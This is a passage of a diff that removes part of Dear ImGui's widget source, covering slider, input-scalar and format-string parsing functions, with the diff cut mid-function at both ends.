v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - - if (delta > 0) - g.SliderCurrentAccum -= ImMin(new_clicked_t - old_clicked_t, delta); - else - g.SliderCurrentAccum -= ImMax(new_clicked_t - old_clicked_t, delta); - } - - g.SliderCurrentAccumDirty = false; - } - } - - if (set_new_value) - { - TYPE v_new = ScaleValueFromRatioT(data_type, clicked_t, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - - // Round to user desired precision based on format string - if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) - v_new = RoundScalarWithFormatT(format, data_type, v_new); - - // Apply result - if (*v != v_new) - { - *v = v_new; - value_changed = true; - } - } - } - - if (slider_sz < 1.0f) - { - *out_grab_bb = ImRect(bb.Min, bb.Min); - } - else - { - // Output grab position so it can be displayed by the caller - float grab_t = ScaleRatioFromValueT(data_type, *v, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); - if (axis == ImGuiAxis_Y) - grab_t = 1.0f - grab_t; - const float grab_pos = ImLerp(slider_usable_pos_min, slider_usable_pos_max, grab_t); - if (axis == ImGuiAxis_X) - *out_grab_bb = ImRect(grab_pos - grab_sz * 0.5f, bb.Min.y + grab_padding, grab_pos + grab_sz * 0.5f, bb.Max.y - grab_padding); - else - *out_grab_bb = ImRect(bb.Min.x + grab_padding, grab_pos - grab_sz * 0.5f, bb.Max.x - grab_padding, grab_pos + grab_sz * 0.5f); - } - - return value_changed; -} - -// For 32-bit and larger types, slider bounds are limited to half the natural type range. -// So e.g. an integer Slider between INT_MAX-10 and INT_MAX will fail, but an integer Slider between INT_MAX/2-10 and INT_MAX/2 will be ok. -// It would be possible to lift that limitation with some work but it doesn't seem to be worth it for sliders. -bool ImGui::SliderBehavior(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, void* p_v, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb) -{ - // Read imgui.cpp "API BREAKING CHANGES" section for 1.78 if you hit this assert. - IM_ASSERT((flags == 1 || (flags & ImGuiSliderFlags_InvalidMask_) == 0) && "Invalid ImGuiSliderFlags flag! Has the 'float power' argument been mistakenly cast to flags? Call function with ImGuiSliderFlags_Logarithmic flags instead."); - - ImGuiContext& g = *GImGui; - if ((g.CurrentWindow->DC.ItemFlags & ImGuiItemFlags_ReadOnly) || (flags & ImGuiSliderFlags_ReadOnly)) - return false; - - switch (data_type) - { - case ImGuiDataType_S8: { ImS32 v32 = (ImS32)*(ImS8*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_S32, &v32, *(const ImS8*)p_min, *(const ImS8*)p_max, format, flags, out_grab_bb); if (r) *(ImS8*)p_v = (ImS8)v32; return r; } - case ImGuiDataType_U8: { ImU32 v32 = (ImU32)*(ImU8*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_U32, &v32, *(const ImU8*)p_min, *(const ImU8*)p_max, format, flags, out_grab_bb); if (r) *(ImU8*)p_v = (ImU8)v32; return r; } - case ImGuiDataType_S16: { ImS32 v32 = (ImS32)*(ImS16*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_S32, &v32, *(const ImS16*)p_min, *(const ImS16*)p_max, format, flags, out_grab_bb); if (r) *(ImS16*)p_v = (ImS16)v32; return r; } - case ImGuiDataType_U16: { ImU32 v32 = (ImU32)*(ImU16*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_U32, &v32, *(const ImU16*)p_min, *(const ImU16*)p_max, format, flags, out_grab_bb); if (r) *(ImU16*)p_v = (ImU16)v32; return r; } - case ImGuiDataType_S32: - IM_ASSERT(*(const ImS32*)p_min >= IM_S32_MIN / 2 && *(const ImS32*)p_max <= IM_S32_MAX / 2); - return SliderBehaviorT(bb, id, data_type, (ImS32*)p_v, *(const ImS32*)p_min, *(const ImS32*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_U32: - IM_ASSERT(*(const ImU32*)p_max <= IM_U32_MAX / 2); - return SliderBehaviorT(bb, id, data_type, (ImU32*)p_v, *(const ImU32*)p_min, *(const ImU32*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_S64: - IM_ASSERT(*(const ImS64*)p_min >= IM_S64_MIN / 2 && *(const ImS64*)p_max <= IM_S64_MAX / 2); - return SliderBehaviorT(bb, id, data_type, (ImS64*)p_v, *(const ImS64*)p_min, *(const ImS64*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_U64: - IM_ASSERT(*(const ImU64*)p_max <= IM_U64_MAX / 2); - return SliderBehaviorT(bb, id, data_type, (ImU64*)p_v, *(const ImU64*)p_min, *(const ImU64*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_Float: - IM_ASSERT(*(const float*)p_min >= -FLT_MAX / 2.0f && *(const float*)p_max <= FLT_MAX / 2.0f); - return SliderBehaviorT(bb, id, data_type, (float*)p_v, *(const float*)p_min, *(const float*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_Double: - IM_ASSERT(*(const double*)p_min >= -DBL_MAX / 2.0f && *(const double*)p_max <= DBL_MAX / 2.0f); - return SliderBehaviorT(bb, id, data_type, (double*)p_v, *(const double*)p_min, *(const double*)p_max, format, flags, out_grab_bb); - case ImGuiDataType_COUNT: break; - } - IM_ASSERT(0); - return false; -} - -// Note: p_data, p_min and p_max are _pointers_ to a memory address holding the data. For a slider, they are all required. -// Read code of e.g. SliderFloat(), SliderInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. -bool ImGui::SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - const float w = CalcItemWidth(); - - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); - const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); - - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id, &frame_bb)) - return false; - - // Default format string when passing NULL - if (format == NULL) - format = DataTypeGetInfo(data_type)->PrintFmt; - else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) - format = PatchFormatStringFloatToInt(format); - - // Tabbing or CTRL-clicking on Slider turns it into an input box - const bool hovered = ItemHoverable(frame_bb, id); - const bool temp_input_allowed = (flags & ImGuiSliderFlags_NoInput) == 0; - bool temp_input_is_active = temp_input_allowed && TempInputIsActive(id); - if (!temp_input_is_active) - { - const bool focus_requested = temp_input_allowed && FocusableItemRegister(window, id); - const bool clicked = (hovered && g.IO.MouseClicked[0]); - if (focus_requested || clicked || g.NavActivateId == id || g.NavInputId == id) - { - SetActiveID(id, window); - SetFocusID(id, window); - FocusWindow(window); - g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); - if (temp_input_allowed && (focus_requested || (clicked && g.IO.KeyCtrl) || g.NavInputId == id)) - { - temp_input_is_active = true; - FocusableItemUnregister(window); - } - } - } - - if (temp_input_is_active) - { - // Only clamp CTRL+Click input when ImGuiSliderFlags_AlwaysClamp is set - const bool is_clamp_input = (flags & ImGuiSliderFlags_AlwaysClamp) != 0; - return TempInputScalar(frame_bb, id, label, data_type, p_data, format, is_clamp_input ? p_min : NULL, is_clamp_input ? p_max : NULL); - } - - // Draw frame - const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); - RenderNavHighlight(frame_bb, id); - RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, g.Style.FrameRounding); - - // Slider behavior - ImRect grab_bb; - const bool value_changed = SliderBehavior(frame_bb, id, data_type, p_data, p_min, p_max, format, flags, &grab_bb); - if (value_changed) - MarkItemEdited(id); - - // Render grab - if (grab_bb.Max.x > grab_bb.Min.x) - window->DrawList->AddRectFilled(grab_bb.Min, grab_bb.Max, GetColorU32(g.ActiveId == id ? ImGuiCol_SliderGrabActive : ImGuiCol_SliderGrab), style.GrabRounding); - - // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. - char value_buf[64]; - const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); - if (g.LogEnabled) - LogSetNextTextDecoration("{", "}"); - RenderTextClipped(frame_bb.Min, frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.5f)); - - if (label_size.x > 0.0f) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); - return value_changed; -} - -// Add multiple sliders on 1 line for compact edition of multiple components -bool ImGui::SliderScalarN(const char* label, ImGuiDataType data_type, void* v, int components, const void* v_min, const void* v_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - bool value_changed = false; - BeginGroup(); - PushID(label); - PushMultiItemsWidths(components, CalcItemWidth()); - size_t type_size = GDataTypeInfo[data_type].Size; - for (int i = 0; i < components; i++) - { - PushID(i); - if (i > 0) - SameLine(0, g.Style.ItemInnerSpacing.x); - value_changed |= SliderScalar("", data_type, v, v_min, v_max, format, flags); - PopID(); - PopItemWidth(); - v = (void*)((char*)v + type_size); - } - PopID(); - - const char* label_end = FindRenderedTextEnd(label); - if (label != label_end) - { - SameLine(0, g.Style.ItemInnerSpacing.x); - TextEx(label, label_end); - } - - EndGroup(); - return value_changed; -} - -bool ImGui::SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalar(label, ImGuiDataType_Float, v, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_Float, v, 2, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_Float, v, 3, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_Float, v, 4, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderAngle(const char* label, float* v_rad, float v_degrees_min, float v_degrees_max, const char* format, ImGuiSliderFlags flags) -{ - if (format == NULL) - format = "%.0f deg"; - float v_deg = (*v_rad) * 360.0f / (2 * IM_PI); - bool value_changed = SliderFloat(label, &v_deg, v_degrees_min, v_degrees_max, format, flags); - *v_rad = v_deg * (2 * IM_PI) / 360.0f; - return value_changed; -} - -bool ImGui::SliderInt(const char* label, int* v, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalar(label, ImGuiDataType_S32, v, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderInt2(const char* label, int v[2], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_S32, v, 2, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderInt3(const char* label, int v[3], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_S32, v, 3, &v_min, &v_max, format, flags); -} - -bool ImGui::SliderInt4(const char* label, int v[4], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return SliderScalarN(label, ImGuiDataType_S32, v, 4, &v_min, &v_max, format, flags); -} - -bool ImGui::VSliderScalar(const char* label, const ImVec2& size, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + size); - const ImRect bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); - - ItemSize(bb, style.FramePadding.y); - if (!ItemAdd(frame_bb, id)) - return false; - - // Default format string when passing NULL - if (format == NULL) - format = DataTypeGetInfo(data_type)->PrintFmt; - else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) - format = PatchFormatStringFloatToInt(format); - - const bool hovered = ItemHoverable(frame_bb, id); - if ((hovered && g.IO.MouseClicked[0]) || g.NavActivateId == id || g.NavInputId == id) - { - SetActiveID(id, window); - SetFocusID(id, window); - FocusWindow(window); - g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Up) | (1 << ImGuiDir_Down); - } - - // Draw frame - const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); - RenderNavHighlight(frame_bb, id); - RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, g.Style.FrameRounding); - - // Slider behavior - ImRect grab_bb; - const bool value_changed = SliderBehavior(frame_bb, id, data_type, p_data, p_min, p_max, format, flags | ImGuiSliderFlags_Vertical, &grab_bb); - if (value_changed) - MarkItemEdited(id); - - // Render grab - if (grab_bb.Max.y > grab_bb.Min.y) - window->DrawList->AddRectFilled(grab_bb.Min, grab_bb.Max, GetColorU32(g.ActiveId == id ? ImGuiCol_SliderGrabActive : ImGuiCol_SliderGrab), style.GrabRounding); - - // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. - // For the vertical slider we allow centered text to overlap the frame padding - char value_buf[64]; - const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); - RenderTextClipped(ImVec2(frame_bb.Min.x, frame_bb.Min.y + style.FramePadding.y), frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.0f)); - if (label_size.x > 0.0f) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); - - return value_changed; -} - -bool ImGui::VSliderFloat(const char* label, const ImVec2& size, float* v, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) -{ - return VSliderScalar(label, size, ImGuiDataType_Float, v, &v_min, &v_max, format, flags); -} - -bool ImGui::VSliderInt(const char* label, const ImVec2& size, int* v, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) -{ - return VSliderScalar(label, size, ImGuiDataType_S32, v, &v_min, &v_max, format, flags); -} - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -// Obsolete versions with power parameter. See https://github.com/ocornut/imgui/issues/3361 for details. -bool ImGui::SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, float power) -{ - ImGuiSliderFlags slider_flags = ImGuiSliderFlags_None; - if (power != 1.0f) - { - IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); - slider_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths - } - return SliderScalar(label, data_type, p_data, p_min, p_max, format, slider_flags); -} - -bool ImGui::SliderScalarN(const char* label, ImGuiDataType data_type, void* v, int components, const void* v_min, const void* v_max, const char* format, float power) -{ - ImGuiSliderFlags slider_flags = ImGuiSliderFlags_None; - if (power != 1.0f) - { - IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); - slider_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths - } - return SliderScalarN(label, data_type, v, components, v_min, v_max, format, slider_flags); -} - -#endif // IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -//------------------------------------------------------------------------- -// [SECTION] Widgets: InputScalar, InputFloat, InputInt, etc. -//------------------------------------------------------------------------- -// - ImParseFormatFindStart() [Internal] -// - ImParseFormatFindEnd() [Internal] -// - ImParseFormatTrimDecorations() [Internal] -// - ImParseFormatPrecision() [Internal] -// - TempInputTextScalar() [Internal] -// - InputScalar() -// - InputScalarN() -// - InputFloat() -// - InputFloat2() -// - InputFloat3() -// - InputFloat4() -// - InputInt() -// - InputInt2() -// - InputInt3() -// - InputInt4() -// - InputDouble() -//------------------------------------------------------------------------- - -// We don't use strchr() because our strings are usually very short and often start with '%' -const char* ImParseFormatFindStart(const char* fmt) -{ - while (char c = fmt[0]) - { - if (c == '%' && fmt[1] != '%') - return fmt; - else if (c == '%') - fmt++; - fmt++; - } - return fmt; -} - -const char* ImParseFormatFindEnd(const char* fmt) -{ - // Printf/scanf types modifiers: I/L/h/j/l/t/w/z. Other uppercase letters qualify as types aka end of the format. - if (fmt[0] != '%') - return fmt; - const unsigned int ignored_uppercase_mask = (1 << ('I'-'A')) | (1 << ('L'-'A')); - const unsigned int ignored_lowercase_mask = (1 << ('h'-'a')) | (1 << ('j'-'a')) | (1 << ('l'-'a')) | (1 << ('t'-'a')) | (1 << ('w'-'a')) | (1 << ('z'-'a')); - for (char c; (c = *fmt) != 0; fmt++) - { - if (c >= 'A' && c <= 'Z' && ((1 << (c - 'A')) & ignored_uppercase_mask) == 0) - return fmt + 1; - if (c >= 'a' && c <= 'z' && ((1 << (c - 'a')) & ignored_lowercase_mask) == 0) - return fmt + 1; - } - return fmt; -} - -// Extract the format out of a format string with leading or trailing decorations -// fmt = "blah blah" -> return fmt -// fmt = "%.3f" -> return fmt -// fmt = "hello %.3f" -> return fmt + 6 -// fmt = "%.3f hello" -> return buf written with "%.3f" -const char* ImParseFormatTrimDecorations(const char* fmt, char* buf, size_t buf_size) -{ - const char* fmt_start = ImParseFormatFindStart(fmt); - if (fmt_start[0] != '%') - return fmt; - const char* fmt_end = ImParseFormatFindEnd(fmt_start); - if (fmt_end[0] == 0) // If we only have leading decoration, we don't need to copy the data. - return fmt_start; - ImStrncpy(buf, fmt_start, ImMin((size_t)(fmt_end - fmt_start) + 1, buf_size)); - return buf; -} - -// Parse display precision back from the display format string -// FIXME: This is still used by some navigation code path to infer a minimum tweak step, but we should aim to rework widgets so it isn't needed. -int ImParseFormatPrecision(const char* fmt, int default_precision) -{ - fmt = ImParseFormatFindStart(fmt); - if (fmt[0] != '%') - return default_precision; - fmt++; - while (*fmt >= '0' && *fmt <= '9') - fmt++; - int precision = INT_MAX; - if (*fmt == '.') - { - fmt = ImAtoi(fmt + 1, &precision); - if (precision < 0 || precision > 99) - precision = default_precision; - } - if (*fmt == 'e' || *fmt == 'E') // Maximum precision with scientific notation - precision = -1; - if ((*fmt == 'g' || *fmt == 'G') && precision == INT_MAX) - precision = -1; - return (precision == INT_MAX) ? default_precision : precision; -} - -// Create text input in place of another active widget (e.g. used when doing a CTRL+Click on drag/slider widgets) -// FIXME: Facilitate using this in variety of other situations. -bool ImGui::TempInputText(const ImRect& bb, ImGuiID id, const char* label, char* buf, int buf_size, ImGuiInputTextFlags flags) -{ - // On the first frame, g.TempInputTextId == 0, then on subsequent frames it becomes == id. - // We clear ActiveID on the first frame to allow the InputText() taking it back. - ImGuiContext& g = *GImGui; - const bool init = (g.TempInputId != id); - if (init) - ClearActiveID(); - - g.CurrentWindow->DC.CursorPos = bb.Min; - bool value_changed = InputTextEx(label, NULL, buf, buf_size, bb.GetSize(), flags); - if (init) - { - // First frame we started displaying the InputText widget, we expect it to take the active id. - IM_ASSERT(g.ActiveId == id); - g.TempInputId = g.ActiveId; - } - return value_changed; -} - -// Note that Drag/Slider functions are only forwarding the min/max values clamping values if the ImGuiSliderFlags_AlwaysClamp flag is set! -// This is intended: this way we allow CTRL+Click manual input to set a value out of bounds, for maximum flexibility. -// However this may not be ideal for all uses, as some user code may break on out of bound values. -bool ImGui::TempInputScalar(const ImRect& bb, ImGuiID id, const char* label, ImGuiDataType data_type, void* p_data, const char* format, const void* p_clamp_min, const void* p_clamp_max) -{ - ImGuiContext& g = *GImGui; - - char fmt_buf[32]; - char data_buf[32]; - format = ImParseFormatTrimDecorations(format, fmt_buf, IM_ARRAYSIZE(fmt_buf)); - DataTypeFormatString(data_buf, IM_ARRAYSIZE(data_buf), data_type, p_data, format); - ImStrTrimBlanks(data_buf); - - ImGuiInputTextFlags flags = ImGuiInputTextFlags_AutoSelectAll | ImGuiInputTextFlags_NoMarkEdited; - flags |= ((data_type == ImGuiDataType_Float || data_type == ImGuiDataType_Double) ? ImGuiInputTextFlags_CharsScientific : ImGuiInputTextFlags_CharsDecimal); - bool value_changed = false; - if (TempInputText(bb, id, label, data_buf, IM_ARRAYSIZE(data_buf), flags)) - { - // Backup old value - size_t data_type_size = DataTypeGetInfo(data_type)->Size; - ImGuiDataTypeTempStorage data_backup; - memcpy(&data_backup, p_data, data_type_size); - - // Apply new value (or operations) then clamp - DataTypeApplyOpFromText(data_buf, g.InputTextState.InitialTextA.Data, data_type, p_data, NULL); - if (p_clamp_min || p_clamp_max) - { - if (p_clamp_min && p_clamp_max && DataTypeCompare(data_type, p_clamp_min, p_clamp_max) > 0) - ImSwap(p_clamp_min, p_clamp_max); - DataTypeClamp(data_type, p_data, p_clamp_min, p_clamp_max); - } - - // Only mark as edited if new value is different - value_changed = memcmp(&data_backup, p_data, data_type_size) != 0; - if (value_changed) - MarkItemEdited(id); - } - return value_changed; -} - -// Note: p_data, p_step, p_step_fast are _pointers_ to a memory address holding the data. For an Input widget, p_step and p_step_fast are optional. -// Read code of e.g. InputFloat(), InputInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. -bool ImGui::InputScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_step, const void* p_step_fast, const char* format, ImGuiInputTextFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - ImGuiStyle& style = g.Style; - - if (format == NULL) - format = DataTypeGetInfo(data_type)->PrintFmt; - - char buf[64]; - DataTypeFormatString(buf, IM_ARRAYSIZE(buf), data_type, p_data, format); - - bool value_changed = false; - if ((flags & (ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsScientific)) == 0) - flags |= ImGuiInputTextFlags_CharsDecimal; - flags |= ImGuiInputTextFlags_AutoSelectAll; - flags |= ImGuiInputTextFlags_NoMarkEdited; // We call MarkItemEdited() ourselves by comparing the actual data rather than the string. - - if (p_step != NULL) - { - const float button_size = GetFrameHeight(); - - BeginGroup(); // The only purpose of the group here is to allow the caller to query item data e.g. IsItemActive() - PushID(label); - SetNextItemWidth(ImMax(1.0f, CalcItemWidth() - (button_size + style.ItemInnerSpacing.x) * 2)); - if (InputText("", buf, IM_ARRAYSIZE(buf), flags)) // PushId(label) + "" gives us the expected ID from outside point of view - value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); - - // Step buttons - const ImVec2 backup_frame_padding = style.FramePadding; - style.FramePadding.x = style.FramePadding.y; - ImGuiButtonFlags button_flags = ImGuiButtonFlags_Repeat | ImGuiButtonFlags_DontClosePopups; - if (flags & ImGuiInputTextFlags_ReadOnly) - button_flags |= ImGuiButtonFlags_Disabled; - SameLine(0, style.ItemInnerSpacing.x); - if (ButtonEx("-", ImVec2(button_size, button_size), button_flags)) - { - DataTypeApplyOp(data_type, '-', p_data, p_data, g.IO.KeyCtrl && p_step_fast ? p_step_fast : p_step); - value_changed = true; - } - SameLine(0, style.ItemInnerSpacing.x); - if (ButtonEx("+", ImVec2(button_size, button_size), button_flags)) - { - DataTypeApplyOp(data_type, '+', p_data, p_data, g.IO.KeyCtrl && p_step_fast ? p_step_fast : p_step); - value_changed = true; - } - - const char* label_end = FindRenderedTextEnd(label); - if (label != label_end) - { - SameLine(0, style.ItemInnerSpacing.x); - TextEx(label, label_end); - } - style.FramePadding = backup_frame_padding; - - PopID(); - EndGroup(); - } - else - { - if (InputText(label, buf, IM_ARRAYSIZE(buf), flags)) - value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); - } - if (value_changed) - MarkItemEdited(window->DC.LastItemId); - - return value_changed; -} - -bool ImGui::InputScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_step, const void* p_step_fast, const char* format, ImGuiInputTextFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - bool value_changed = false; - BeginGroup(); - PushID(label); - PushMultiItemsWidths(components, CalcItemWidth()); - size_t type_size = GDataTypeInfo[data_type].Size; - for (int i = 0; i < components; i++) - { - PushID(i); - if (i > 0) - SameLine(0, g.Style.ItemInnerSpacing.x); - value_changed |= InputScalar("", data_type, p_data, p_step, p_step_fast, format, flags); - PopID(); - PopItemWidth(); - p_data = (void*)((char*)p_data + type_size); - } - PopID(); - - const char* label_end = FindRenderedTextEnd(label); - if (label != label_end) - { - SameLine(0.0f, g.Style.ItemInnerSpacing.x); - TextEx(label, label_end); - } - - EndGroup(); - return value_changed; -} - -bool ImGui::InputFloat(const char* label, float* v, float step, float step_fast, const char* format, ImGuiInputTextFlags flags) -{ - flags |= ImGuiInputTextFlags_CharsScientific; - return InputScalar(label, ImGuiDataType_Float, (void*)v, (void*)(step > 0.0f ? &step : NULL), (void*)(step_fast > 0.0f ? &step_fast : NULL), format, flags); -} - -bool ImGui::InputFloat2(const char* label, float v[2], const char* format, ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_Float, v, 2, NULL, NULL, format, flags); -} - -bool ImGui::InputFloat3(const char* label, float v[3], const char* format, ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_Float, v, 3, NULL, NULL, format, flags); -} - -bool ImGui::InputFloat4(const char* label, float v[4], const char* format, ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_Float, v, 4, NULL, NULL, format, flags); -} - -bool ImGui::InputInt(const char* label, int* v, int step, int step_fast, ImGuiInputTextFlags flags) -{ - // Hexadecimal input provided as a convenience but the flag name is awkward. Typically you'd use InputText() to parse your own data, if you want to handle prefixes. - const char* format = (flags & ImGuiInputTextFlags_CharsHexadecimal) ? "%08X" : "%d"; - return InputScalar(label, ImGuiDataType_S32, (void*)v, (void*)(step > 0 ? &step : NULL), (void*)(step_fast > 0 ? &step_fast : NULL), format, flags); -} - -bool ImGui::InputInt2(const char* label, int v[2], ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_S32, v, 2, NULL, NULL, "%d", flags); -} - -bool ImGui::InputInt3(const char* label, int v[3], ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_S32, v, 3, NULL, NULL, "%d", flags); -} - -bool ImGui::InputInt4(const char* label, int v[4], ImGuiInputTextFlags flags) -{ - return InputScalarN(label, ImGuiDataType_S32, v, 4, NULL, NULL, "%d", flags); -} - -bool ImGui::InputDouble(const char* label, double* v, double step, double step_fast, const char* format, ImGuiInputTextFlags flags) -{ - flags |= ImGuiInputTextFlags_CharsScientific; - return InputScalar(label, ImGuiDataType_Double, (void*)v, (void*)(step > 0.0 ? &step : NULL), (void*)(step_fast > 0.0 ? &step_fast : NULL), format, flags); -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: InputText, InputTextMultiline, InputTextWithHint -//------------------------------------------------------------------------- -// - InputText() -// - InputTextWithHint() -// - InputTextMultiline() -// - InputTextEx() [Internal] -//------------------------------------------------------------------------- - -bool ImGui::InputText(const char* label, char* buf, size_t buf_size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - IM_ASSERT(!(flags & ImGuiInputTextFlags_Multiline)); // call InputTextMultiline() - return InputTextEx(label, NULL, buf, (int)buf_size, ImVec2(0, 0), flags, callback, user_data); -} - -bool ImGui::InputTextMultiline(const char* label, char* buf, size_t buf_size, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - return InputTextEx(label, NULL, buf, (int)buf_size, size, flags | ImGuiInputTextFlags_Multiline, callback, user_data); -} - -bool ImGui::InputTextWithHint(const char* label, const char* hint, char* buf, size_t buf_size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - IM_ASSERT(!(flags & ImGuiInputTextFlags_Multiline)); // call InputTextMultiline() - return InputTextEx(label, hint, buf, (int)buf_size, ImVec2(0, 0), flags, callback, user_data); -} - -static int InputTextCalcTextLenAndLineCount(const char* text_begin, const char** out_text_end) -{ - int line_count = 0; - const char* s = text_begin; - while (char c = *s++) // We are only matching for \n so we can ignore UTF-8 decoding - if (c == '\n') - line_count++; - s--; - if (s[0] != '\n' && s[0] != '\r') - line_count++; - *out_text_end = s; - return line_count; -} - -static ImVec2 InputTextCalcTextSizeW(const ImWchar* text_begin, const ImWchar* text_end, const ImWchar** remaining, ImVec2* out_offset, bool stop_on_new_line) -{ - ImGuiContext& g = *GImGui; - ImFont* font = g.Font; - const float line_height = g.FontSize; - const float scale = line_height / font->FontSize; - - ImVec2 text_size = ImVec2(0, 0); - float line_width = 0.0f; - - const ImWchar* s = text_begin; - while (s < 